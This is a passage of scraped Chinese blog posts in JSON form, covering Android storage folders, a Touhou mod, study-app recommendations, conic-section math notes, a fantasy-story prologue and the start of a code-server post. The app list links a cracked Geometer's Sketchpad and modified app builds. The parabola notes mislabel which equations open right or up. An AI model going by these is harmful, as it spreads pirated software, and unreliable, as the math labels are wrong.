\u003c/p\u003e\u003cp\u003e其他几个目录的话,obb是存储程序数据包的。比如说FL Mobile,还有MC:Story mode之类的。一般来说,这个目录里的文件夹也是和包名一致的。另外几个我还没怎么了解过,后面了解了再说说吧。\u003c/p\u003e\u003cp\u003e*好了,还有什么人要提问*(bushi\u003c/p\u003e\u003cp\u003e那么就是剩下的目录了。从这里开始,就是一些非标准但是占内存比较大的目录了。\u003c/p\u003e\u003ch4 id=\"第二重地狱:-x2F-sdcard-x2F-tencent目录\"\u003e\u003ca href=\"https://xeonds.github.io/2021/05/17/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/Android/%E6%B5%85%E8%B0%88Android%E5%AD%98%E5%82%A8%E6%B8%85%E7%90%86/#%E7%AC%AC%E4%BA%8C%E9%87%8D%E5%9C%B0%E7%8B%B1%EF%BC%9A-x2F-sdcard-x2F-tencent%E7%9B%AE%E5%BD%95\" class=\"headerlink\" title=\"第二重地狱:/sdcard/tencent目录\"\u003e\u003c/a\u003e第二重地狱:/sdcard/tencent目录\u003c/h4\u003e\u003cp\u003e顾名思义,这个目录是腾讯系软件的主目录。 \u003c/p\u003e\u003cp\u003e这里得先提前说明一下,按照规范来说,根目录下是不应该允许程序写入文件的。 \u003c/p\u003e\u003cp\u003e但是隔着这么高的墙,谷歌哪里管得上啊(摊手\u003c/p\u003e\u003cp\u003e这里要注意一下,现在其实是有两个目录的。一个在\u003ccode\u003eAndroid/data/\u003c/code\u003e中,另一个就是下面这个了。\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e/sdcard/Tencent/\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e├── MobileQQ\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e├── QQLite\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e├── QQ_Favorite //QQ收藏的表情\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e├── QQ_Images //QQ保存的图片\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e├── QQfile_recv //QQ接收的文件\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e├── ams\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e├── micromsg //微信目录\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e├── msflogs\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e├── mta\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e├── tbs //x5浏览器内核?\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e└── wtlogin\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e看起来挺乱的对吧?我也这么觉得。大概分析下构成,占地方大的主要是MobileQQ,里面包含了缓存和聊天记录等。还有就是micromsg,包含了微信接收的文件和聊天记录等。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2021/05/17/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/Android/%E6%B5%85%E8%B0%88Android%E5%AD%98%E5%82%A8%E6%B8%85%E7%90%86/"},{"title":"【魔改】东方虹龙传(?","time":"2021-05-15T17:25:50Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e一个简单的[[東方Project:同人界永远的奇迹|东方正作]]贴图替换魔改。内容如下:\u003c/p\u003e\u003cul\u003e\u003cli\u003e主界面背景替换\u003c/li\u003e\u003cli\u003e游戏界面边框替换\u003c/li\u003e\u003cli\u003e本来想替换logo的,但是图片尺寸不一样\u003c/li\u003e\u003cli\u003e主界面立绘也是大小不一样,就暂时没换\u003c/li\u003e\u003cli\u003e游戏内立绘回头再换(\u003cbr/\u003e其实是想把6面boss直接换成纯狐的。。。不过这样的话貌似还是魔改下虹龙洞比较方便(\u003cbr/\u003e游戏在这里。基本还是没怎么改的状态()\u003ca href=\"https://dreamweb.lanzoui.com/iJrTCp60lyb\"\u003e点击下载\u003c/a\u003e\u003c/li\u003e\u003c/ul\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2021/05/15/%E6%B8%B8%E6%88%8F/%E4%B8%9C%E6%96%B9Project/%E3%80%90%E9%AD%94%E6%94%B9%E3%80%91%E4%B8%9C%E6%96%B9%E8%99%B9%E9%BE%99%E4%BC%A0%EF%BC%88%EF%BC%9F/"},{"title":"学科工具集","time":"2021-03-22T06:57:35Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"学科工具集\"\u003e\u003ca href=\"https://xeonds.github.io/2021/03/22/%E5%AD%A6%E7%A7%91%E5%B7%A5%E5%85%B7%E9%9B%86/#%E5%AD%A6%E7%A7%91%E5%B7%A5%E5%85%B7%E9%9B%86\" class=\"headerlink\" title=\"学科工具集\"\u003e\u003c/a\u003e学科工具集\u003c/h2\u003e\u003ch3 id=\"数学工具\"\u003e\u003ca href=\"https://xeonds.github.io/2021/03/22/%E5%AD%A6%E7%A7%91%E5%B7%A5%E5%85%B7%E9%9B%86/#%E6%95%B0%E5%AD%A6%E5%B7%A5%E5%85%B7\" class=\"headerlink\" title=\"数学工具\"\u003e\u003c/a\u003e数学工具\u003c/h3\u003e\u003cul\u003e\u003cli\u003e\u003ca href=\"https://dreamweb.lanzoui.com/iyfl7dwa8eh\"\u003eGeoGeBra:图形计算器\u003c/a\u003e\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e这个词来源于geometry(几何学)和algebra(代数学)的合成。它的名字就已经显示出了它的功能:连接数与形的桥梁。\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ca href=\"https://dreamweb.lanzoui.com/iPrNadwa8xg\"\u003eGeoGeBra:科学计算器\u003c/a\u003e\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e和上面那个是一家。使用起来感觉不错,和图形计算器用起来已经很接近了。\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ca href=\"https://dreamweb.lanzoui.com/iAmPYe157tg\"\u003eGeoGeBra:CAS计算器\u003c/a\u003e\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e感觉和上面那个差不多?\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ca href=\"https://dreamweb.lanzoui.com/idHxldwozfe\"\u003eGeoGeBra:几何学\u003c/a\u003e\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e和上面那几个是一家。用来做平面几何的图绰绰有余。界面设计很简洁,很MD,有很多能挖的东西。\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ca href=\"https://dreamweb.lanzoui.com/irrMfdwp05a\"\u003eGeoGeBra:3D\u003c/a\u003e\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e3D作图效果不错,运行起来也挺流畅。果然这家出的都是精品吗(感叹\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ca href=\"https://dreamweb.lanzoui.com/iGyspedti9i\"\u003e几何画板5.06(已破解)\u003c/a\u003e\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e很经典一个软件了。用好了绝对效果拔群。\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ca href=\"https://dreamweb.lanzoui.com/iHqY7gkcgdc\"\u003e作业帮Lite7.1.5\u003c/a\u003e\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e作业帮本身不错,但是平时用不上的东西太多……这个修改版就简单多了,只有搜题一个核心功能。对于不想忍受毒瘤般原版和一堆乱七八糟的东西的同学很合适。不过安全起见,最好不要随便登录自己的账号哦。\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ca href=\"https://dreamweb.lanzoui.com/icbvTgkckng\"\u003eHP Prime(模拟器)\u003c/a\u003e\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e又是一个计算器……不过这个是HP Prime图形计算器的安卓平台模拟器。功能有缺失,不过还是好东西。毕竟是图形计算器嘛。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e其他推荐的工具嘛……Wolframe,python的manim​库,matlab,网易的超级计算器,photomath,微软数学等等都是一些很好的东西。具体还是得自己体验。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e更多工具以后会慢慢挖的(咕\u003c/p\u003e\u003ch3 id=\"天文学工具\"\u003e\u003ca href=\"https://xeonds.github.io/2021/03/22/%E5%AD%A6%E7%A7%91%E5%B7%A5%E5%85%B7%E9%9B%86/#%E5%A4%A9%E6%96%87%E5%AD%A6%E5%B7%A5%E5%85%B7\" class=\"headerlink\" title=\"天文学工具\"\u003e\u003c/a\u003e天文学工具\u003c/h3\u003e\u003cul\u003e\u003cli\u003e\u003ca href=\"https://dreamweb.lanzoui.com/iOYepdwp0vg\"\u003eStellarium +\u003c/a\u003e\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e便捷的天文学工具,看星星必备神器。\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ca href=\"https://dreamweb.lanzoui.com/i9aKue1kbgh\"\u003eISS Live\u003c/a\u003e\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e似乎是一个直播ISS的应用?需要搭梯子。\u003c/p\u003e\u003ch3 id=\"文科学习工具\"\u003e\u003ca href=\"https://xeonds.github.io/2021/03/22/%E5%AD%A6%E7%A7%91%E5%B7%A5%E5%85%B7%E9%9B%86/#%E6%96%87%E7%A7%91%E5%AD%A6%E4%B9%A0%E5%B7%A5%E5%85%B7\" class=\"headerlink\" title=\"文科学习工具\"\u003e\u003c/a\u003e文科学习工具\u003c/h3\u003e\u003cul\u003e\u003cli\u003e\u003ca href=\"https://dreamweb.lanzoui.com/iIEJ1dwpgfg\"\u003e有道词典国际版\u003c/a\u003e\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e国内很多软件似乎都是国际版比国内版良心(点名某度网盘)?\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ca href=\"https://dreamweb.lanzoui.com/icuOre1kdyh\"\u003e古诗词典\u003c/a\u003e\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e很好用的工具。拿来背古诗词很方便(也可以试试小猿搜题的,也很好用)。\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ca href=\"https://dreamweb.lanzoui.com/iO48te1kedc\"\u003e谷歌翻译\u003c/a\u003e\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e谷歌翻译,永远滴神(谷歌大法好\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ca href=\"https://dreamweb.lanzoui.com/iW3jAe1kdfi\"\u003e全历史\u003c/a\u003e\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e既好用,又良心的历史全方位探究工具(甚至可以拿来看古籍?)。\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ca href=\"https://dreamweb.lanzoui.com/iQFKqe1kbqh\"\u003e快快查汉语字典\u003c/a\u003e\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e这个修改版用起来很舒服,功能也很强。就是偶尔会出现找不到离线词典的情况。不过很好用就是了。\u003c/p\u003e\u003cp\u003e啊,对了,这东西还能拿来记成语。高中党福音(就是经常会忘记打开hhh)\u003c/p\u003e\u003ch3 id=\"物理学习工具\"\u003e\u003ca href=\"https://xeonds.github.io/2021/03/22/%E5%AD%A6%E7%A7%91%E5%B7%A5%E5%85%B7%E9%9B%86/#%E7%89%A9%E7%90%86%E5%AD%A6%E4%B9%A0%E5%B7%A5%E5%85%B7\" class=\"headerlink\" title=\"物理学习工具\"\u003e\u003c/a\u003e物理学习工具\u003c/h3\u003e\u003cul\u003e\u003cli\u003e\u003ca href=\"https://dreamweb.lanzoui.com/iZLNudwp0ej\"\u003ePhysics\u003c/a\u003e\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e和名字一样,学物理的。功能挺丰富,MD设计风格深得我心,内容和质量也不错。更像是一个物理百科全书(就是深度比较深一些)。\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ca href=\"https://dreamweb.lanzoui.com/iKf2gdwp1cd\"\u003ePocket Physics\u003c/a\u003e\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e口袋物理。嗯……感觉更像小册子的感觉。用来过知识点挺不错。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2021/03/22/%E5%AD%A6%E7%A7%91%E5%B7%A5%E5%85%B7%E9%9B%86/"},{"title":"圆锥曲线-抛物线速解","time":"2021-03-07T03:22:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e主要内容:反设斜截式,平均性质,极点极线,设点方法。\u003c/p\u003e\u003ch4 id=\"反设斜截式\"\u003e\u003ca href=\"https://xeonds.github.io/2021/03/07/%E6%95%B0%E5%AD%A6/%E9%AB%98%E4%B8%AD%E6%95%B0%E5%AD%A6/%E5%9C%86%E9%94%A5%E6%9B%B2%E7%BA%BF-%E6%8A%9B%E7%89%A9%E7%BA%BF%E9%80%9F%E8%A7%A3/#%E5%8F%8D%E8%AE%BE%E6%96%9C%E6%88%AA%E5%BC%8F\" class=\"headerlink\" title=\"反设斜截式\"\u003e\u003c/a\u003e反设斜截式\u003c/h4\u003e\u003cp\u003e一般的,在开口向右的抛物线中,为了方便起见,会把直线设成这种形式:\u003cbr/\u003e$$ x=my+t $$\u003cbr/\u003e其中,$t$可以是$\\frac{p}{2}$,即该直线过焦点。 \u003c/p\u003e\u003ch4 id=\"平均性质\"\u003e\u003ca href=\"https://xeonds.github.io/2021/03/07/%E6%95%B0%E5%AD%A6/%E9%AB%98%E4%B8%AD%E6%95%B0%E5%AD%A6/%E5%9C%86%E9%94%A5%E6%9B%B2%E7%BA%BF-%E6%8A%9B%E7%89%A9%E7%BA%BF%E9%80%9F%E8%A7%A3/#%E5%B9%B3%E5%9D%87%E6%80%A7%E8%B4%A8\" class=\"headerlink\" title=\"平均性质\"\u003e\u003c/a\u003e平均性质\u003c/h4\u003e\u003cp\u003e假设有一条直线: \u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/blog/images/pasted-1.png\" alt=\"像这样\"/\u003e \u003c/p\u003e\u003cp\u003e$AB$与抛物线交于两点且过点$(t,0)$,连接$(-t,0)$和$B$点交抛物线于$A’$点,则有$A$和$A’$关于$x$轴对称:\u003cbr/\u003e$x_Ax_B = t^2$,$x_{A’}x_B=(-t)^2$,所以$x_A=x_{A’}$\u003c/p\u003e\u003cp\u003e证明:如图所示。 \u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/blog/images/math-3.png\" alt=\")\"/\u003e\u003c/p\u003e\u003ch4 id=\"设点方法\"\u003e\u003ca href=\"https://xeonds.github.io/2021/03/07/%E6%95%B0%E5%AD%A6/%E9%AB%98%E4%B8%AD%E6%95%B0%E5%AD%A6/%E5%9C%86%E9%94%A5%E6%9B%B2%E7%BA%BF-%E6%8A%9B%E7%89%A9%E7%BA%BF%E9%80%9F%E8%A7%A3/#%E8%AE%BE%E7%82%B9%E6%96%B9%E6%B3%95\" class=\"headerlink\" title=\"设点方法\"\u003e\u003c/a\u003e设点方法\u003c/h4\u003e\u003cp\u003e在抛物线中,我们一般这么设点: \u003c/p\u003e\u003cul\u003e\u003cli\u003e开口向右($x^2=xpy$):$A(x_0,\\frac{x_0^2}{2p})$ \u003c/li\u003e\u003cli\u003e开口向上($y^2=2px$):$A(\\frac{y_0^2}{2p},y_0)$\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"切线性质\"\u003e\u003ca href=\"https://xeonds.github.io/2021/03/07/%E6%95%B0%E5%AD%A6/%E9%AB%98%E4%B8%AD%E6%95%B0%E5%AD%A6/%E5%9C%86%E9%94%A5%E6%9B%B2%E7%BA%BF-%E6%8A%9B%E7%89%A9%E7%BA%BF%E9%80%9F%E8%A7%A3/#%E5%88%87%E7%BA%BF%E6%80%A7%E8%B4%A8\" class=\"headerlink\" title=\"切线性质\"\u003e\u003c/a\u003e切线性质\u003c/h4\u003e\u003cp\u003e如图,作过抛物线焦点的弦,交抛物线$x^2=2y$于$A$,$B$,分别作抛物线在点$A$,$B$处的切线$l_1$,$l_2$,则必有$l_1$与$l_2$交于抛物线的准线上一点$D$。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/blog/images/math-2.png\" alt=\"阿基米德三角形\"/\u003e \u003c/p\u003e\u003cp\u003e这样的三角形$ABD$,我们称之为:\u003ca href=\"https://zhuanlan.zhihu.com/p/71926381\"\u003e阿基米德三角形\u003c/a\u003e。 \u003c/p\u003e\u003cp\u003e对于此模型中的计算,我们一般会引入坐标当参数。如果要计算切线的斜率,会求导计算;如果焦点在$x$轴,我们可以用隐函数求导、分类讨论或者极点极线法。 \u003c/p\u003e\u003ch4 id=\"点差法\"\u003e\u003ca href=\"https://xeonds.github.io/2021/03/07/%E6%95%B0%E5%AD%A6/%E9%AB%98%E4%B8%AD%E6%95%B0%E5%AD%A6/%E5%9C%86%E9%94%A5%E6%9B%B2%E7%BA%BF-%E6%8A%9B%E7%89%A9%E7%BA%BF%E9%80%9F%E8%A7%A3/#%E7%82%B9%E5%B7%AE%E6%B3%95\" class=\"headerlink\" title=\"点差法\"\u003e\u003c/a\u003e点差法\u003c/h4\u003e\u003cblockquote\u003e\u003cp\u003e以下摘自百度百科 \u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e点差就是在求解圆锥曲线并且题目中交代直线与圆锥曲线相交被截的线段中点坐标的时候,利用直线和圆锥曲线的两个交点,并把交点代入圆锥曲线的方程,并作差。求出直线的斜率,然后利用中点求出直线方程。 \u003c/p\u003e\u003cp\u003e利用点差法可以减少很多的计算,所以在解有关的问题时用这种方法比较好。 \u003c/p\u003e\u003ch5 id=\"具体步骤\"\u003e\u003ca href=\"https://xeonds.github.io/2021/03/07/%E6%95%B0%E5%AD%A6/%E9%AB%98%E4%B8%AD%E6%95%B0%E5%AD%A6/%E5%9C%86%E9%94%A5%E6%9B%B2%E7%BA%BF-%E6%8A%9B%E7%89%A9%E7%BA%BF%E9%80%9F%E8%A7%A3/#%E5%85%B7%E4%BD%93%E6%AD%A5%E9%AA%A4\" class=\"headerlink\" title=\"具体步骤\"\u003e\u003c/a\u003e具体步骤\u003c/h5\u003e\u003col\u003e\u003cli\u003e设直线和圆锥曲线交点为$(x_1,y_1)$,$(x_2,y_2)$,其中点坐标为$(x_0,y_0)$,则得到关系式$x_1+x_2=2x_0$,$y_1+y_2=2y_0$. \u003c/li\u003e\u003cli\u003e把$(x_1,y_1)$,$(x_2,y_2)$分别代入圆锥曲线的解析式,并作差,利用平方差公式对结果进行因式分解.因式分解的结果必为$A(x_1-x_2)+B(y_1-y_2)=0$,其中$A$和$B$根据圆锥曲线的类型来决定具体数值,一般来说会包含有$(x_1+x_2)$和$(y_1+y_2)$两项. \u003c/li\u003e\u003cli\u003e利用$k=\\frac{(y_1-y_2)}{(x_1-x_2)}$求出直线斜率,代入点斜式得直线方程为$y-y_0=\\frac{(y_1-y_2)}{(x_1-x_2)}(x-x_0)$\u003c/li\u003e\u003cli\u003e对于椭圆来说:$\\frac{x_0}{a^2}+\\frac{y_0}{b^2}k=0$\u003c/li\u003e\u003c/ol\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2021/03/07/%E6%95%B0%E5%AD%A6/%E9%AB%98%E4%B8%AD%E6%95%B0%E5%AD%A6/%E5%9C%86%E9%94%A5%E6%9B%B2%E7%BA%BF-%E6%8A%9B%E7%89%A9%E7%BA%BF%E9%80%9F%E8%A7%A3/"},{"title":"圆锥曲线-韦达定理速解","time":"2021-02-26T04:41:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch4 id=\"硬解定理\"\u003e\u003ca href=\"https://xeonds.github.io/2021/02/26/%E6%95%B0%E5%AD%A6/%E9%AB%98%E4%B8%AD%E6%95%B0%E5%AD%A6/%E5%9C%86%E9%94%A5%E6%9B%B2%E7%BA%BF-%E9%9F%A6%E8%BE%BE%E5%AE%9A%E7%90%86%E9%80%9F%E8%A7%A3/#%E7%A1%AC%E8%A7%A3%E5%AE%9A%E7%90%86\" class=\"headerlink\" title=\"硬解定理\"\u003e\u003c/a\u003e硬解定理\u003c/h4\u003e\u003cp\u003e椭圆方程: $\\frac{x^2}{a^2}+\\frac{y^2}{b^2}=1$ \u003c/p\u003e\u003cp\u003e直线方程: $Ax+By=-C$\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e注意:a,b大小任意,所以对于焦点在y轴的椭圆以及双曲线也适用(抛物线不清楚,貌似不适用?)。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e$x_1+x_2=\\frac{2a^2A(-C)}{a^2A^2+b^2B^2}$ \u003c/p\u003e\u003cp\u003e$x_1 x_2=\\frac{a^2(C^2-b^2B^2)}{a^2A^2+b^2B^2}$ \u003c/p\u003e\u003cp\u003e$y_1+y_2=\\frac{2b^2B(-C)}{a^2A^2+b^2B^2}$ \u003c/p\u003e\u003cp\u003e$y_1 y_2=\\frac{b^2(C^2-a^2A^2)}{a^2A^2+b^2B^2}$ \u003c/p\u003e\u003cp\u003e$x_1 y_2+x_2 y_1=\\frac{2a^2b^2AB}{a^2A^2+b^2B^2}$ \u003c/p\u003e\u003ch4 id=\"联立后的方程\"\u003e\u003ca href=\"https://xeonds.github.io/2021/02/26/%E6%95%B0%E5%AD%A6/%E9%AB%98%E4%B8%AD%E6%95%B0%E5%AD%A6/%E5%9C%86%E9%94%A5%E6%9B%B2%E7%BA%BF-%E9%9F%A6%E8%BE%BE%E5%AE%9A%E7%90%86%E9%80%9F%E8%A7%A3/#%E8%81%94%E7%AB%8B%E5%90%8E%E7%9A%84%E6%96%B9%E7%A8%8B\" class=\"headerlink\" title=\"联立后的方程\"\u003e\u003c/a\u003e联立后的方程\u003c/h4\u003e\u003cp\u003e方程(消去y):$(a^2A^2+b^2B^2)x^2$$+2a^2ACx$$+a^2(C^2-b^2B^2)=0$ \u003c/p\u003e\u003cp\u003e判别式:$\\Delta=4a^2b^2B^2(a^2A^2+b^2$$B^2-C^2)$\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2021/02/26/%E6%95%B0%E5%AD%A6/%E9%AB%98%E4%B8%AD%E6%95%B0%E5%AD%A6/%E5%9C%86%E9%94%A5%E6%9B%B2%E7%BA%BF-%E9%9F%A6%E8%BE%BE%E5%AE%9A%E7%90%86%E9%80%9F%E8%A7%A3/"},{"title":"旅鸟之翼","time":"2021-02-07T13:05:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch3 id=\"序章:小鸟的梦\"\u003e\u003ca href=\"https://xeonds.github.io/2021/02/07/%E6%96%87%E5%AD%A6/%E4%B9%A6%E6%96%8B/%E6%97%85%E9%B8%9F%E4%B9%8B%E7%BF%BC/#%E5%BA%8F%E7%AB%A0%EF%BC%9A%E5%B0%8F%E9%B8%9F%E7%9A%84%E6%A2%A6\" class=\"headerlink\" title=\"序章:小鸟的梦\"\u003e\u003c/a\u003e序章:小鸟的梦\u003c/h3\u003e\u003cp\u003e不论是\u003cbr/\u003e中央一望无尽的辽阔草原\u003cbr/\u003e还是在草叶上折射出七色彩虹的露珠 \u003c/p\u003e\u003cp\u003e不论是  \u003cbr/\u003e北方茂密繁盛的苍翠森林\u003cbr/\u003e还是蜿蜒其中的幽暗小径\u003c/p\u003e\u003cp\u003e不论是  \u003cbr/\u003e西方灼阳之下通透的沙海\u003cbr/\u003e还是随风移动奏响幻乐的沙丘\u003c/p\u003e\u003cp\u003e不论是  \u003cbr/\u003e东方冻土之上呼啸的风暴\u003cbr/\u003e还是直冲云霄穿破天穹的冰刺 \u003c/p\u003e\u003cp\u003e不论是\u003cbr/\u003e南方奇绝拔峻的丘陵\u003cbr/\u003e还是深邃怪离的溶洞\u003cbr/\u003e小鸟都不曾见过  \u003c/p\u003e\u003cp\u003e但小鸟梦到过\u003cbr/\u003e她梦见自己在溪谷王国幽静的河谷中低吟浅唱\u003cbr/\u003e青色的微风带来自然的和声 \u003c/p\u003e\u003cp\u003e她梦到自己在寒风王国的冻土上前行\u003cbr/\u003e风雪裹挟着旅人的欢声笑语 \u003c/p\u003e\u003cp\u003e她梦到自己在新月王国的星空下执琴演奏\u003cbr/\u003e飞扬的琴音混着夜昙的浓香 \u003c/p\u003e\u003cp\u003e她梦到自己在孤岭王国的崴嵬险峰上瞰望\u003cbr/\u003e焜斓的黏土群山如画卷般展开 \u003c/p\u003e\u003cp\u003e她梦见长藤王国的雨林\u003cbr/\u003e她梦见暗南王国的火山与黑曜石\u003cbr/\u003e她梦见烈阳王国的阳炎与沙海\u003cbr/\u003e她梦见玄渊王国的迷宫与落穴\u003cbr/\u003e……\u003cbr/\u003e她是一只旅居斯怀威尔的旅鸟\u003cbr/\u003e她来自遥远的天空之海\u003cbr/\u003e她曾与天空龙共舞\u003cbr/\u003e穿梭于天际冰晶之间 \u003c/p\u003e\u003cp\u003e她见过辛蓝至高至伟的神殿  \u003cbr/\u003e那里供奉着万物秩律卡提斯  \u003c/p\u003e\u003cp\u003e她见过云梦精妙绝伦的机巧\u003cbr/\u003e那里的卡蒂尔迪纳表塔记录着古往今来的一切 \u003c/p\u003e\u003cp\u003e她见过卞雨鬼斧神工的雕塑\u003cbr/\u003e那里据称是一切智慧的发源 \u003c/p\u003e\u003cp\u003e…… \u003c/p\u003e\u003cp\u003e但如今\u003cbr/\u003e她失去了翅膀\u003cbr/\u003e在这永宁谷中  \u003c/p\u003e\u003cp\u003e她只能用哀婉凄凉的歌声\u003cbr/\u003e将自己\u003cbr/\u003e所梦,所思,所感\u003cbr/\u003e唱出来 \u003c/p\u003e\u003cp\u003e哪怕它像露水般短暂,流云般虚幻 \u003c/p\u003e\u003cp\u003e你愿意听吗? \u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e第一次尝试开长篇,这是我根据一个我很喜欢的同人音乐社团(星猫音乐)的几张专辑的印象写出来的东西,因为前期设定还有很多没透露出来,想必大家都会有点迷,不过随着故事的进行,大家也会对斯怀威尔的世界观有所了解的吧,那么谢谢大家愿意抽出时间看我这不成熟的东西,希望大家多多提出建议。至于更新,只能随缘了,不过故事的主线我已经在笔记本上写好了,就差打成电子版了,所以至少不用担心腰斩(大概吧)。\u003c/p\u003e\u003c/blockquote\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2021/02/07/%E6%96%87%E5%AD%A6/%E4%B9%A6%E6%96%8B/%E6%97%85%E9%B8%9F%E4%B9%8B%E7%BF%BC/"},{"title":"code-server:一个完美的WebIDE","time":"2021-01-01T13:30:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e趁着放假想着配置个在线开发环境。于是顺手搜了下。好家伙还真有。 \u003c/p\u003e\u003cp\u003e大概挑了下这个应该是最方便的了吧。\u003c/p\u003e\u003ch4 id=\"下载\"\u003e\u003ca href=\"https://xeonds.github.io/2021/01/01/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/code-server%EF%BC%9A%E4%B8%80%E4%B8%AA%E5%AE%8C%E7%BE%8E%E7%9A%84WebIDE/#%E4%B8%8B%E8%BD%BD\" class=\"headerlink\" title=\"下载\"\u003e\u003c/a\u003e下载\u003c/h4\u003e\u003cp\u003e\u003ca href=\"https://github.com/cdr/code-server\"\u003e项目Github地址\u003c/a\u003e 这个是开源项目可以直接下最新Release\u003cdel\u003e或者自己clone后编译\u003c/del\u003e。 \u003c/p\u003e\u003cp\u003e如果下载慢的话可以试试\u003ca href=\"https://toolwa.com/github/\"\u003egit加速下载\u003c/a\u003e。\u003c/p\u003e\u003ch4 id=\"配置\"\u003e\u003ca href=\"https://xeonds.github.io/2021/01/01/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/code-server%EF%BC%9A%E4%B8%80%E4%B8%AA%E5%AE%8C%E7%BE%8E%E7%9A%84WebIDE/#%E9%85%8D%E7%BD%AE\" class=\"headerlink\" 